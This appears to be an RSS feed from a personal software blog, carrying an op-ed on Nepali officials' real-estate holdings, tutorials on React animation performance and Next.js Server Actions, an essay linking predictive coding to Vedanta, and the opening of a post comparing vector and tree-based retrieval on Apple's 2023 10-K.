<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Arjun Adhikari]]></title><description><![CDATA[Welcome to the personal blog of Arjun Adhikari. Explore articles on software development, coding tutorials, and tech industry insights]]></description><link>https://blogs.thearjun.com</link><generator>RSS for Node</generator><lastBuildDate>Tue, 14 Apr 2026 00:26:37 GMT</lastBuildDate><atom:link href="https://blogs.thearjun.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[To the Cabinet of Landlords: A Question of Survival for Nepal’s Professional Class]]></title><description><![CDATA[The April 2026 asset disclosures were framed as a victory for transparency by the administration of Prime Minister Balendra Shah. As a young engineer who has spent the last four years building softwar]]></description><link>https://blogs.thearjun.com/to-the-cabinet-of-landlords-a-question-of-survival-for-nepal</link><guid isPermaLink="true">https://blogs.thearjun.com/to-the-cabinet-of-landlords-a-question-of-survival-for-nepal</guid><category><![CDATA[Nepal]]></category><category><![CDATA[economics]]></category><category><![CDATA[Economy]]></category><category><![CDATA[assetbubble]]></category><dc:creator><![CDATA[Arjun Adhikari]]></dc:creator><pubDate>Mon, 13 Apr 2026 18:16:12 GMT</pubDate><content:encoded><![CDATA[<p>The April 2026 asset disclosures were framed as a victory for transparency by the administration of Prime Minister Balendra Shah. As a young engineer who has spent the last four years building software systems in Nepal, I analyzed these ledgers with a specific question in mind: Is there a path for my generation to stay in this country, or is the political class structurally incentivized to price us out?</p>
<p>While the disclosures were a step toward honesty, the data reveals a grimmer reality. The concentration of real estate holdings among political elites is not just a personal matter. It is a systematic conflict of interest that sustains an artificial asset bubble, biasing national policy toward land appreciation over productive industrial growth.</p>
<h3><strong>The Anatomy of the Asset Bubble</strong></h3>
<p>We have all heard the warnings about a real estate bubble, but the data shows how this bubble was manufactured. Between 2021 and 2026, real estate lending grew by 72.41 percent. This was driven by the Nepal Rastra Bank’s lending guidelines, which historically applied lower risk weights to real estate collateral while requiring higher capital reserves for manufacturing loans.</p>
<p>Combined with a currency that depreciates roughly 3 to 4 percent annually, land has become the only rational hedge for capital. When billions of rupees are "banked" in empty urban plots, it creates a bubble that serves the landed elite but offers no productivity, no jobs, and no future for the skilled workforce. Our leaders are participants in a regulatory environment that protects this bubble at the expense of the very tech and manufacturing sectors that could modernize Nepal.</p>
<h3><strong>The Correlation of Infrastructure and Wealth</strong></h3>
<p>The most tangible evidence of this tension lies in the timing of public works. Between 2019 and 2021, road extensions in three specific Kathmandu wards coincided with an 18 to 34 percent land appreciation in adjacent properties. Public records confirm that several sitting officials held property in these exact corridors.</p>
<p>When those who approve zoning and infrastructure projects are also the primary beneficiaries of the resulting value spikes, the neutrality of urban planning is compromised. This creates a "Landed Cabinet" where any reform that might burst the bubble or stabilize land values faces immediate resistance from within.</p>
<h3><strong>A Question of Structural Bias</strong></h3>
<p>The cabinet is not a monolith, but the April disclosures show a dangerous variation in exposure. High-exposure ministers in portfolios like Finance or Urban Development often hold 15 to 40 ropanis in urban corridors. This makes them highly sensitive to any policy that might reduce property values.</p>
<p>This heterogeneity means that reform is often pursued selectively. Policies that affect sectors where elites have no holdings move forward, while the high-value urban bubble remains protected. This accounts for the persistent gap between the government’s reform rhetoric and its actual legislative outcomes.</p>
<h3><strong>The Human Cost: Exporting the Future</strong></h3>
<p>The human cost of this asset bubble is the primary driver of Nepal’s brain drain. When land prices in Kathmandu are pushed to roughly 40 times the annual salary of a doctor or engineer, homeownership becomes a mathematical impossibility. We are essentially exporting our most skilled workforce to earn foreign currency, only for them to return and buy overpriced land from the elite.</p>
<p>Furthermore, this land-heavy wealth structure deters Foreign Direct Investment. High land costs act as a barrier to entry for manufacturing. No investor will build a factory if the cost of the land exceeds the value of the machinery inside it. By protecting the bubble, the political class is pricing out the capital that could modernize Nepal.</p>
<h3><strong>Three Questions for the Government</strong></h3>
<p>If this government is serious about the future of Nepal’s youth, it must answer three questions:</p>
<ol>
<li><p><strong>The Fair Market Value Test:</strong> Will the cabinet mandate asset reporting at market rates to end the practice of undervaluing holdings by 30 to 50 percent in formal records?</p>
</li>
<li><p><strong>The Blind Trust Mechanism:</strong> Will ministers in high-conflict portfolios be required to place their property holdings in independent trusts to remove incentive conflicts?</p>
</li>
<li><p><strong>The Productive Tax Reform:</strong> Will the government shift from consumption taxes to an Unimproved Land Value Tax on idle urban plots to force productive use and deflate the speculative bubble?</p>
</li>
</ol>
<p>The 2026 disclosures provided the data. Now we need a leadership willing to let the value of its own backyard fall so that the rest of the country can finally afford to stand.</p>
]]></content:encoded></item><item><title><![CDATA[Building a 60fps React Hero: The Hidden Cost of JavaScript Animations]]></title><description><![CDATA[Building a premium, immersive user interface often means pushing the boundaries of what web animations can do. For a recent storytelling platform I built, I wanted a "hero" section that felt truly mag]]></description><link>https://blogs.thearjun.com/building-a-60fps-react-hero-the-hidden-cost-of-javascript-animations</link><guid isPermaLink="true">https://blogs.thearjun.com/building-a-60fps-react-hero-the-hidden-cost-of-javascript-animations</guid><category><![CDATA[CSS]]></category><category><![CDATA[React]]></category><category><![CDATA[Next.js]]></category><category><![CDATA[optimization]]></category><category><![CDATA[framer-motion]]></category><category><![CDATA[algorithms]]></category><category><![CDATA[Frontend Development]]></category><category><![CDATA[animation]]></category><dc:creator><![CDATA[Arjun Adhikari]]></dc:creator><pubDate>Mon, 23 Mar 2026 04:45:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6384a6afd2a77a21279977f6/e331d65e-c897-4ab8-9378-49a42d8f3a5d.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Building a premium, immersive user interface often means pushing the boundaries of what web animations can do. For a recent <a href="https://mintmystory.com">storytelling platform</a> I built, I wanted a "hero" section that felt truly magical: a vast, parallax-like mosaic of story illustrations that scrolled seamlessly and endlessly across the screen.</p>
<p>Sounds simple, right? It’s just an infinite marquee.</p>
<p>Instead, I spent hours tumbling down a performance rabbit hole. What started as a "quick animation" turned into a masterclass on Server-Side Rendering (SSR), the browser’s render pipeline, and the sometimes brutal reality of JavaScript performance.</p>
<p>Whether you use React, Vue, Framer Motion, or vanilla JS, here is exactly how I took my UI from "jittery and weird" to mathematically flawless and the architectural lessons I learned along the way.</p>
<h2><strong>Lesson 1: The React Hydration Trap</strong></h2>
<p>My first goal was to shuffle the grid of images on every load so the hero background always looked fresh and unique. Naturally, I reached for JavaScript's oldest trick: sorting an array with <code>Math.random()</code>.</p>
<p><strong>The Incident:</strong> Every time the page loaded, the images would flash briefly, and then the entire layout would violently rearrange itself.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6384a6afd2a77a21279977f6/cf97e4ae-ad7d-4a8f-8118-d6344f369108.gif" alt="" style="display:block;margin:0 auto" />

<p><strong>The Root Cause: Hydration Mismatch</strong> Because the site was built with Next.js (which uses Server-Side Rendering), the server calculated one random order of images and shipped that static HTML to the user's browser. It loaded instantly.</p>
<p>But when React "woke up" (hydrated) on the client side, it re-ran <code>Math.random()</code>. The client generated a <em>completely different mathematical result</em> than the server. React panicked, realized the virtual DOM didn't match the server HTML, and forcefully deleted and redrew the UI. Hence, the "jump."</p>
<p><strong>The Architecture Fix:</strong> To fix this, web applications need <em>deterministic randomness</em>. We replaced the basic random sort with a robust Fisher-Yates algorithm. By providing a fixed "seed" (a number) to the algorithm during the initial component render, both the server and the client generate the exact same "random" array.</p>
<pre><code class="language-typescript">export default function HeroBackground({ images }) { 
// ❌ Math.random() generates a different array on Server vs. Client 
const randomImages = [...images].sort(() =&gt; Math.random() - 0.5);
 return (
    &lt;div className="absolute inset-0 flex flex-wrap"&gt;
      {randomImages.map(img =&gt; &lt;Image key={img.id} src={img.url} /&gt;)}
    &lt;/div&gt;
  );
}
</code></pre>
<p><strong>After (The Hydration-Safe Way):</strong></p>
<pre><code class="language-plaintext">export default function HeroBackground({ images }) {
  // ✅ A seeded shuffle guarantees perfect SSR/Client sync
  const shuffledImages = seededShuffle([...images], 654); 
  return (
    &lt;div className="absolute inset-0 flex flex-wrap"&gt;
      {shuffledImages.map(img =&gt; &lt;Image key={img.id} src={img.url} /&gt;)}
    &lt;/div&gt;
  );
}
</code></pre>
<p>No more DOM jumps. Perfectly smooth hydration.</p>
<p><strong>Lesson 2: The Main Thread vs. The Compositor Thread</strong></p>
<p>Next up: the infinite scroll. To animate the image grid endlessly moving left, I grabbed a popular JavaScript animation library. I duplicated the image array inside a wrapper and told the JS engine to animate the container's <code>x</code> axis from <code>0%</code> to <code>-50%</code> on an infinite loop.</p>
<p>It worked, but it felt... <em>weird</em>. Every few seconds, the animation would stutter, and it distinctly "snapped" when the loop reset.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6384a6afd2a77a21279977f6/3f885e9f-707a-46bc-a78f-288e276334bc.gif" alt="" style="display:block;margin:0 auto" />

<p><strong>The Root Cause: Main Thread Contention &amp; Flexbox Gaps</strong> JavaScript animation libraries generally operate on the browser's "Main Thread." This is the same thread responsible for parsing React, fetching data, handling clicks, and running your business logic.</p>
<p>When you ask a library to continuously animate massive DOM nodes (like a screen full of high-res images) using <code>requestAnimationFrame</code>, it has to fight with every other JS task for priority. If React decides to parse a heavy component, your animation misses a frame. Result: stuttering.</p>
<p>Additionally, we had a mathematical "gap" mismatch. We had <code>16px</code> flex gaps on the parent, but translating exactly <code>-50%</code> fell 8 pixels short of a truly perfect loop alignment.</p>
<p><strong>The Architecture Fix: Offloading to the GPU</strong> For continuous, never-ending animations, the browser's GPU (the Compositor Thread) is vastly superior because it runs <em>independently</em> of JavaScript.</p>
<p>I completely deleted the JS animation logic and wrote a pure CSS keyframe. CSS <code>transform</code> and <code>opacity</code> are the only properties that can be handed off entirely to the hardware compositor.</p>
<pre><code class="language-plaintext">/* ✅ Runs natively on the GPU compositor thread — completely immune to JS lag /

@keyframes scroll-left { 
0% { transform: translate3d(0, 0, 0); } 
100% { transform: translate3d(-50%, 0, 0); }
} 

.animate-scroll-left { 
animation: scroll-left 60s linear infinite; 
will-change: transform; / Hint to browser to prioritize this layer */ 
}
</code></pre>
<p><strong>The New UI Structure:</strong></p>
<pre><code class="language-typescript">export function CardsRow({ images }) {
 return (
    &lt;div className="flex w-max animate-scroll-left"&gt;
      {images.map(img =&gt; (
        &lt;div key={img.id} className="relative shrink-0 pr-4"&gt; 
          &lt;Image src={img.url} /&gt;
        &lt;/div&gt;
      {images.map(img =&gt; (
        &lt;div key={`dup-${img.id}`} className="relative shrink-0 pr-4"&gt; 
          &lt;Image src={img.url} /&gt;
        &lt;/div&gt;
      ))}
    &lt;/div&gt;
  );
}
</code></pre>
<p><em>Pro-Tip on Math:</em> To ensure exact <code>-50%</code> loops, avoid CSS Flexbox <code>gap</code>. Gaps complicate percentage translations. Instead, apply <code>padding-right</code> to individual child elements. The math becomes perfectly divisible, completely eliminating the tiny "snap" when the loop resets to 0.</p>
<h2><strong>Lesson 3: The Tug-of-War (CSS vs. JS Layouts)</strong></h2>
<p>With the background silky smooth, I moved on to a grid of "Story Cards" that users could filter. I wanted the cards to physically glide to their new coordinates when the grid reordered.</p>
<p>I used a JS library to handle the physical layout animation. But when I hovered over a card as it was moving, it began jittering violently back and forth.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6384a6afd2a77a21279977f6/9e99f1b8-4446-4021-8fc6-76113428e782.gif" alt="" style="display:block;margin:0 auto" />

<p><strong>The Root Cause: The Engine Conflict</strong> I had attached a utility class <code>transition-all duration-300 hover:-translate-y-1</code> to the cards to give them a nice "lift" effect when hovered by a mouse.</p>
<p>When the user filtered the grid, the JS layout engine kicked in and began updating the <code>transform</code> matrix 60 times a second to move the card smoothly. But simultaneously, the browser's native CSS engine woke up, saw the physical <code>transform</code> changing, and tried to aggressively "tween" (transition) between the rapid JS updates.</p>
<p>Two distinct animation engines were in a literal tug-of-war for control of one element's hardware coordinates.</p>
<p><strong>The Architecture Fix: Separation of Concerns</strong> The golden rule of modern web animation: <strong>Never mix CSS transform transitions with JS-based layout animations on the exact same element.</strong></p>
<p>I replaced the sweeping <code>transition-all</code> with a specific <code>transition-shadow</code> (to keep my glowing hover shadow effect), and shifted the physical "lift" movement entirely into the JS library.</p>
<p><strong>Before (The Tug-of-War):</strong></p>
<pre><code class="language-plaintext">export function StoryCard({ story }) {
  return (
    // ❌ CSS and JS fighting over the exact same 'transform' coordinates
    &lt;motion.div
      layout // JS controls physical position
      className="transition-all hover:-translate-y-1" // CSS controls physical hover transform
    &gt;
      &lt;CardContent /&gt;
    &lt;/motion.div&gt;
  );
}
</code></pre>
<p><strong>After (Flawless Animation Architecture):</strong></p>
<pre><code class="language-plaintext">export function StoryCard({ story }) {
  return (

    &lt;motion.div
      layout // JS controls physical grid location
      whileHover={{ y: -4 }} // JS strictly controls physical lift on hover
      className="transition-shadow duration-300" 
    &gt;
      &lt;CardContent /&gt;
    &lt;/motion.div&gt;
  );
}
</code></pre>
<p>With the CSS engine out of its way, the JS library regained full, uninterrupted ownership of the hardware transform matrix. The cards now glide into their new positions with a premium, satisfying spring physics curve.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6384a6afd2a77a21279977f6/970a3aac-2c5d-44cb-b7bd-a6b069362e16.gif" alt="" style="display:block;margin:0 auto" />

<h2><strong>The Takeaway</strong></h2>
<p>Modern web tools and frameworks are incredibly powerful, but they abstract away the actual machine running the code. Achieving a truly premium, 60fps user interface requires peeking behind the curtain to understand <em>why</em> things move.</p>
<ol>
<li><p><strong>Understand SSR Hydration:</strong> Know the difference between a server-rendered string and a client-hydrated tree.</p>
</li>
<li><p><strong>Respect the Compositor Thread:</strong> If it's a continuous, un-interrupted scroll, offload it to hardware via CSS. Keep repetitive load off your JS Main Thread.</p>
</li>
<li><p><strong>Don't Cross the Streams:</strong> Let CSS handle your styling transitions (colors, shadows, opacity), and let Javascript handle your complex physical layout calculations.</p>
</li>
</ol>
<p>Happy optimizing! Have you ever lost hours to a rogue hydration bug or stuttering animation? Let me know below!t me know below!</p>
]]></content:encoded></item><item><title><![CDATA[The Death of the "Zombie" Button: Why Server Actions are the New Baseline for Web Performance]]></title><description><![CDATA[We’ve all been there. You’re on your commute, the network connection is patchy, and you try to submit a form on a sleek, modern website.You tap the bright blue “Submit” button.
Nothing happens.
You ta]]></description><link>https://blogs.thearjun.com/react-server-actions</link><guid isPermaLink="true">https://blogs.thearjun.com/react-server-actions</guid><category><![CDATA[React]]></category><category><![CDATA[Next.js]]></category><category><![CDATA[optimization]]></category><category><![CDATA[react server components]]></category><dc:creator><![CDATA[Arjun Adhikari]]></dc:creator><pubDate>Fri, 06 Mar 2026 04:45:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6384a6afd2a77a21279977f6/19a27e6c-a5f5-4350-9cb7-33be24df0fe1.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>We’ve all been there. You’re on your commute, the network connection is patchy, and you try to submit a form on a sleek, modern website.<br />You tap the bright blue “Submit” button.</p>
<p><strong>Nothing happens.</strong></p>
<p>You tap it again. Still nothing. The button is completely dead.<br />Frustrated, you close the tab. Just like that, the company loses a lead.</p>
<p>Ironically, this isn’t a backend failureit’s a frontend one.<br />Their state-of-the-art React app simply couldn’t handle a slow 3G connection.</p>
<p>For years, we accepted this as the cost of doing business in the Single Page Application (SPA) era.</p>
<p>But <strong>Next.js Server Actions change the equation completely.</strong></p>
<p>Let’s cut through the hype and look at the actual data—the bundle sizes, the network behavior, and why moving mutation logic back to the server is one of the most resilient decisions you can make.</p>
<h2>The Data: Why Client-Side Forms are "Heavy"</h2>
<p>To understand why Server Actions matter, we have to look at what it actually costs to build a robust form on the client side using standard API routes. If you are building a production-grade form today, you aren't just writing a <code>fetch</code> call; you are bringing in an entire ecosystem.</p>
<h3>Typical Gzipped Bundle Cost:</h3>
<ul>
<li><p><strong>React Hook Form</strong> (State management): ~5kB</p>
</li>
<li><p><strong>Zod</strong> (Schema validation): ~12kB</p>
</li>
<li><p><strong>React Query / SWR</strong> (Mutation &amp; Cache handling): ~13kB</p>
</li>
<li><p><strong>Custom Logic &amp; Fetch Boilerplate</strong>: ~5-10kB</p>
</li>
<li><p><strong>Total Added Payload: ~35kB to 40kB (Gzipped)</strong></p>
</li>
</ul>
<p>On fiber internet, 40kB is a blink. On a mid-range Android phone over 3G, that JavaScript can add <strong>1.5 to 3 seconds</strong> to your Time to Interactive (TTI). During those seconds, the user sees the form, but the button is a "zombie." If they click it, the event is lost. This is the <strong>Hydration Gap</strong>.</p>
<h2>The Metric Shift: 0kB Mutation Logic</h2>
<p>When you use a Server Action, your mutation logic bundle size drops to <strong>0kB</strong>.</p>
<p>Because the action runs entirely on the server, you don't ship Zod or your fetch boilerplate to the client. Next.js compiles the action into a tiny, encrypted action ID inside a native HTML <code>&lt;form&gt;</code>.</p>
<h3>The Performance Impact:</h3>
<ol>
<li><p><strong>First Contentful Paint (FCP):</strong> Happens almost instantly because you're shipping lean HTML.</p>
</li>
<li><p><strong>Time to Action:</strong> Because the browser uses a native HTML POST request, the user can click "Submit" <strong>before the JavaScript even finishes downloading</strong>. The request travels to the server while the browser is still busy hydrating.</p>
</li>
<li><p><strong>Eliminating the Waterfall:</strong> Instead of the typical "POST -&gt; Success -&gt; GET updated data" sequence, Server Actions allow the server to mutate the data and return the updated UI in a <strong>single network roundtrip</strong>.</p>
</li>
</ol>
<hr />
<h2>High-Fidelity UX: Validation and Loading States</h2>
<p>A common fear is that moving logic to the server means losing the "snappiness" of modern apps. React 19 hooks bridge this gap perfectly.</p>
<h3>1. The "Vanishing" Loading State</h3>
<p>Using <code>useFormStatus</code>, you can create a reusable <code>SubmitButton</code> that automatically knows when its parent form is pending. No more manual <code>setIsLoading(true)</code> states scattered across your components.</p>
<h3>2. Instant Feedback with <code>useOptimistic</code></h3>
<p>For "Likes" or "Comments," you don't want to wait for the server. The <code>useOptimistic</code> hook allows you to "fake" a successful response in the UI immediately. If the server eventually fails, React automatically rolls back the UI state.</p>
<h3>3. Handling Dependent Fields (Country &gt; State &gt; City)</h3>
<p>When one field depends on another, you have two high-performance choices:</p>
<ul>
<li><p><strong>The URL Strategy:</strong> Update a query param (<code>?country=nepal</code>). The Server Component reads this and returns the filtered "State" list as pure HTML.</p>
</li>
<li><p><strong>The Hybrid Fetch:</strong> Use a simple client-side <code>fetch</code> to hit a Route Handler for the dependent data, while keeping the final <strong>form submission</strong> as a Server Action for type safety and security.</p>
</li>
</ul>
<hr />
<h2>The Modern Code Pattern: <code>useActionState</code></h2>
<p>Here is how this looks in practice. Notice that <code>zod</code> is imported in the server file—it never touches the client's browser.</p>
<h3>1. The Server Action (<code>actions.ts</code>)</h3>
<pre><code class="language-typescript">'use server'
import { z } from 'zod';
import { revalidatePath } from 'next/cache';

const ContactSchema = z.object({
  email: z.string().email(),
  message: z.string().min(10),
});

export async function submitContact(prevState: any, formData: FormData) {
  const validated = ContactSchema.safeParse(Object.fromEntries(formData));

  if (!validated.success) {
    return { errors: validated.error.flatten().fieldErrors, data: validated.data };
  }

  // Database mutation logic here
  await db.message.create({ data: validated.data });

  revalidatePath('/contact'); 
  return { success: true };
}
</code></pre>
<h3>2. The Client Component (<code>ContactForm.tsx</code>)</h3>
<pre><code class="language-typescript">'use client'
import { useActionState } from 'react';
import { submitContact } from './actions';

export default function ContactForm() {
  const [state, formAction, isPending] = useActionState(submitContact, null);

  return (
    &lt;form action={formAction}&gt;
      &lt;input name="email" defaultValue={state?.data?.email} /&gt;
      {state?.errors?.email &amp;&amp; &lt;p className="error"&gt;{state.errors.email}&lt;/p&gt;}
      
      &lt;button type="submit" disabled={isPending}&gt;
        {isPending ? 'Sending...' : 'Submit'}
      &lt;/button&gt;
    &lt;/form&gt;
  );
}
</code></pre>
<hr />
<h2>The Architect's Warning: When <em>Not</em> to Use Server Actions</h2>
<p>Server Actions are a powerful default, but they are not a silver bullet. Senior engineers know when to stay on the client:</p>
<ul>
<li><p><strong>High-Frequency UI:</strong> Range sliders, drawing canvases, or search-as-you-type interfaces need to run at 60fps. The network latency of a Server Action would make these feel broken.</p>
</li>
<li><p><strong>Offline-First Apps:</strong> If your app must work in a tunnel (e.g., a field-service app), you need a client-side database and local mutations.</p>
</li>
<li><p><strong>Massive File Uploads:</strong> Serverless functions (like Vercel) often have a 4.5MB payload limit. For 100MB videos, use direct-to-S3 presigned URLs instead.</p>
</li>
<li><p><strong>Public APIs:</strong> Webhooks or mobile app endpoints still require standard Route Handlers (<code>app/api/...</code>), as Server Actions use encrypted IDs that external tools cannot call.</p>
</li>
</ul>
<h2>The Bottom Line</h2>
<p>We don't adopt Server Actions just because they're the "Next Big Thing." We adopt them because <strong>eliminating 40kB of mutation logic</strong> directly correlates to a lower Time to Interactive. By relying on native HTML forms as a baseline, we build applications that are inherently more resilient.</p>
<p>No matter how bad a user's internet connection gets, your "Submit" button should actually work.</p>
]]></content:encoded></item><item><title><![CDATA[The Calculus of Stillness: What Predictive AI Taught Me About Ancient Vedanta]]></title><description><![CDATA[I was recently reading through the literature on alternative machine learning architectures. Specifically, I was looking at the shift away from standard backpropagation toward a biologically plausible]]></description><link>https://blogs.thearjun.com/the-calculus-of-stillness-what-predictive-ai-taught-me-about-ancient-vedanta</link><guid isPermaLink="true">https://blogs.thearjun.com/the-calculus-of-stillness-what-predictive-ai-taught-me-about-ancient-vedanta</guid><category><![CDATA[AI]]></category><category><![CDATA[vedanta]]></category><category><![CDATA[Ancient]]></category><category><![CDATA[Artificial Intelligence]]></category><category><![CDATA[Philosophy]]></category><category><![CDATA[Advaita Vedanta]]></category><category><![CDATA[neuroscience]]></category><category><![CDATA[predictive coding]]></category><dc:creator><![CDATA[Arjun Adhikari]]></dc:creator><pubDate>Sun, 01 Mar 2026 08:41:48 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6384a6afd2a77a21279977f6/445e8c5a-fe44-43a3-a77b-203f161424df.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I was recently reading through the literature on alternative machine learning architectures. Specifically, I was looking at the shift away from standard backpropagation toward a biologically plausible model known as predictive coding. The premise is conceptually elegant. Biological brains do not wait for a global error signal to learn. They operate by constantly predicting the immediate future and actively minimizing the gap between their internal prediction and raw sensory reality.</p>
<p>As I traced the mathematics governing this local energy minimization, a strange realization surfaced. I was looking at an eighth-century philosophical text written in the language of modern calculus.</p>
<p>The convergence between the cutting edge of artificial intelligence and the ancient epistemology of Advaita Vedanta is not just a loose metaphor. The mechanics of neural error correction elegantly mirror the philosophical framework of removing ignorance. Both disciplines are fundamentally analyze how a system resolves the friction between its internal projections and objective reality.</p>
<h3><strong>The Mathematics of Surprise</strong></h3>
<p>To understand the connection, we have to define the brain as an inference engine. In predictive coding and the Free Energy Principle, perception is framed as an active minimization problem. The brain is not a passive receiver of data. It is a prediction machine.</p>
<img alt="" style="display:block;margin:0 auto" />

<p>The system's agitation is not just a basic measure of being wrong. It is weighted by certainty. In predictive coding, the prediction error is mathematically defined by precision. Precision is the inverse of variance, meaning it measures how confident the brain is in its prior models versus incoming sensory data.</p>
<p>We can express this precision-weighted prediction error mathematically:</p>
<img alt="" style="display:block;margin:0 auto" />

<p>Here, x is the actual sensory input, μ is the brain's top-down prediction, and <em><strong>π</strong></em> is the precision weighting. When the brain is highly confident in its prior assumptions, <em><strong>π</strong></em> is large. The system forces the sensory data to conform to the internal model.</p>
<p>When this precision-weighted error is high, the system is agitated. The brain must burn physical metabolic resources to update its synaptic weights and resolve the discrepancy. High free energy represents literal biological friction. The brain is surprised, and surprise is computationally expensive.</p>
<h3><strong>The Rope, The Snake, and The Prior</strong></h3>
<p>Now rewind over a millennium to Adi Shankaracharya, the foundational thinker of Advaita Vedanta. The core epistemological problem in Vedanta is Maya, a term typically translated as illusion. However, Maya is not a hallucination of things that do not exist. It is the overlay of the mind's conditioned expectations onto raw reality.</p>
<p>Shankaracharya used a now-famous pedagogical example. A man walks in the dark and sees a coiled shape on the ground. He perceives a snake. His heart races, his cortisol spikes, and he recoils in terror. The snake is entirely real to his nervous system.</p>
<p>In the vocabulary of predictive coding, the man's mind has a fiercely rigid, high-precision prior. Conditioned by survival instincts, it predicts a threat. The sensory data from the dark path is ambiguous (low precision), so the brain forces the perception to match the prediction. The mind projects the snake to resolve the ambiguity.  </p>
<h3><strong>The Calculus of Nirvana</strong></h3>
<p>What happens when someone brings a lamp?</p>
<p>The raw sensory data floods the visual cortex. The bottom-up signal becomes undeniably strong and its precision skyrockets, overriding the top-down prediction. The brain is forced to update its model. The man realizes he is looking at a piece of rope.</p>
<p>At this exact millisecond, the internal prediction aligns with the external reality. The prediction error drops. The system continuously updates its internal state μ to minimize the Free Energy function F by following the gradient descent path:</p>
<img alt="" style="display:block;margin:0 auto" />

<p>In machine learning, we call this convergence. In neurobiology, it is the minimization of free energy. In ancient Indian philosophy, this state of dropping false projections is the gateway to Moksha or Samadhi.</p>
<p>Crucially, biological systems never reach absolute zero free energy. A state of permanent zero prediction error is biological death. Instead, the stillness described in Vedanta is a state of dynamic equilibrium. Stillness is not the forceful absence of thought. It is the absence of unnecessary psychological friction. It is the precise state where the mind stops imposing rigid, fear-based priors onto the present moment.</p>
<p>When the internal model perfectly accepts reality without resistance, the mind becomes a flawless mirror. There is no agitation because the system is completely fluid and adaptable. The self that constantly worries about the future or regrets the past is essentially just an algorithm trapped in a state of high prediction error, perpetually trying to force the world to match its rigid priors.</p>
<h3><strong>Beyond the Mechanics</strong></h3>
<p>We spend billions of dollars and megawatts of computing power trying to teach silicon how to perceive the world. We build massive hierarchical models and derive elegant mathematical update rules. Yet the underlying truth we are uncovering is remarkably ancient.</p>
<p>While machine learning optimizes the weights of a neural network to reach a local minimum, Vedanta uses this same mechanical realization to transcend the network entirely. It aims for the dissolution of the subject-object divide. Whether you are mathematically minimizing a loss landscape or sitting in quiet observation, the foundational insight remains the same.</p>
<p>Suffering is the friction between rigid expectation and reality. Peace is the fluidity where that friction disappears.</p>
]]></content:encoded></item><item><title><![CDATA[When Vector RAG Goes Blind: The $14B Note 12 Miss in Apple’s 2023 10‑K]]></title><description><![CDATA[In the AI world of 2026, we have been sold a specific dream: Shred your PDF, turn the chunks into numbers (vectors), and let math find the answer. This is Vector RAG, and for simple FAQ bots, it works]]></description><link>https://blogs.thearjun.com/when-vector-rag-goes-blind-the-14b-note-12-miss-in-apple-s-2023-10-k</link><guid isPermaLink="true">https://blogs.thearjun.com/when-vector-rag-goes-blind-the-14b-note-12-miss-in-apple-s-2023-10-k</guid><category><![CDATA[Vectorless RAG]]></category><category><![CDATA[advanced rag]]></category><category><![CDATA[RAG ]]></category><category><![CDATA[Vectorless]]></category><category><![CDATA[information retrival]]></category><dc:creator><![CDATA[Arjun Adhikari]]></dc:creator><pubDate>Fri, 27 Feb 2026 03:15:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6384a6afd2a77a21279977f6/4decaab5-b1d4-446a-84a2-a9e5b1d0ed69.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In the AI world of 2026, we have been sold a specific dream: <strong>Shred your PDF, turn the chunks into numbers (vectors), and let math find the answer.</strong> This is <strong>Vector RAG</strong>, and for simple FAQ bots, it works.</p>
<p>But we put this "standard" approach to a stress test using the <strong>Apple 2023 10-K</strong>. The result was a $14 billion reality check.</p>
<hr />
<h2>1. The Experiment: A "Trap" for Vector Math</h2>
<p>We asked a two-part question that any financial auditor would care about:</p>
<blockquote>
<p><em><strong>"What was the Provision for income taxes in 2023, and what specific legal settlement is mentioned in the footnotes?"</strong></em></p>
</blockquote>
<h3><strong>The Contestants</strong></h3>
<ul>
<li><p><strong>Vector RAG (Pinecone):</strong> The industry standard. Shreds the document into 1,000-character "confetti" chunks and searches by similarity.</p>
</li>
<li><p><strong>Tree RAG (PageIndex):</strong> The challenger. It maps the document's structure (hierarchy) and "navigates" it like a human librarian.</p>
</li>
</ul>
<hr />
<h2>2. The Result: Why the "Scent" Went Cold</h2>
<p>The results were night and day.</p>
<table style="min-width:75px"><colgroup><col style="min-width:25px"></col><col style="min-width:25px"></col><col style="min-width:25px"></col></colgroup><tbody><tr><td><p><strong>Target Info</strong></p></td><td><p><strong>Vector RAG (Pinecone)</strong></p></td><td><p><strong>Tree RAG (PageIndex)</strong></p></td></tr><tr><td><p><strong>Tax Provision ($16.7B)</strong></p></td><td><p>✅ Found instantly.</p></td><td><p>✅ Found.</p></td></tr><tr><td><p><strong>Legal Settlement (€13.1B)</strong></p></td><td><p>❌ <strong>Failed.</strong> (Claimed none existed)</p></td><td><p>✅ <strong>Success.</strong> Found the Irish Tax dispute.</p></td></tr></tbody></table>

<h3><strong>Why Vector RAG Failed (Technical Post-Mortem)</strong></h3>
<p>Vector search works by <strong>Semantic Similarity</strong> (Vibes). When you ask about "Taxes" and "Settlements," the embedding model creates a single mathematical vector.</p>
<ul>
<li><p><strong>The Dilution Effect:</strong> Because "Tax" appears 500 times in a 10-K, the vector "pulled" toward the main financial tables on page 31.</p>
</li>
<li><p><strong>The Keyword Gap:</strong> The legal dispute regarding Ireland (Note 7) uses words like <em>"State Aid," "Escrow,"</em> and <em>"Annulment."</em> It rarely uses the word <em>"Settlement"</em> because Apple was still fighting it.</p>
</li>
<li><p><strong>The Result:</strong> Pinecone looked for "Settlements," found a different footnote about employee stock options, and gave the LLM the wrong context. The AI, having no better info, told us: <em>"No legal settlement mentioned."</em></p>
</li>
</ul>
<hr />
<h2>3. The "Vectorless" Secret: Structural Reasoning</h2>
<p>"Vectorless" or <strong>Tree RAG</strong> succeeded because it didn't look for the <em>words</em>; it looked at the <strong>Map</strong>.</p>
